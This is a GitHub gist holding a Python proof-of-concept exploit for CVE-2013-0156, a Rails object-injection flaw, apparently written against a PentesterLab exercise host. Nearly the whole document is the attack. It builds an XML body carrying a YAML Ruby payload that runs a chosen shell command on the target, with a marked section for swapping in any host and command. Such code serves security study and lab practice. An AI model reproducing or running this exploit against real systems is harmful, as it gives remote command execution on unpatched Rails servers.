Skip to content

Instantly share code, notes, and snippets.

@shafdo
Created August 1, 2021 21:00
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shafdo/37184ae2d54a6e365670245eaea4f04a to your computer and use it in GitHub Desktop.
Save shafdo/37184ae2d54a6e365670245eaea4f04a to your computer and use it in GitHub Desktop.
CVE-2013-0156: Rails Object Injection (Detailed POC)
#!/usr/bin/python3
'''
Date: Monday, August 2, 2021
Description: CVE-2013-0156: Rails Object Injection (Detailed POC)
Created By: ShaFdo (twitter: @ShalindaFdo)
-----------------------------------------------
Dependencies: requests
Usage: ./cve-2013-0156.py
Additional Notes: Make sure you mark "cve-2013-0156.py" as an executable before running it :).
'''
import requests
# -=-=-=-=-=-=- Edit Bellow -=-=-=-=-=-=-
host = "http://ptl-0a8563d6-93c3450a.libcurl.so" # Target URL
command = "id > public/results.txt" # Command to execute
# -=-=-=-=-=-=- Edit Above -=-=-=-=-=-=-
# [INFO] Set the content-type header to text/xml to tell the server that we're sending stuff as XML.
request_headers = {
"Content-Type": "text/xml",
}
# [INFO] Injected the Ruby payload inside the XML (Payload source: https://pentesterlab.com/exercises/cve-2013-0156/course).
xml_payload = """
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? |
foo
`{}`;(RUBY; @executed = true) unless @executed
__END__
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: []
requirements:
:action: create
:controller: foos
segment_keys:
- :format
</exploit>
""".format(command)
# [INFO] Send Request with appropriate headers & the XML payload attached to the HTTP body.
res = requests.get(host, data=xml_payload, headers=request_headers)
if(res.status_code == 200):
print("[+] Payload Executed Successfully")
else:
print("[-] Got Error Code {} along the way.".format(res.status_code))
@shafdo
Copy link
Author

shafdo commented Aug 1, 2021

A quick preview in burp:

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment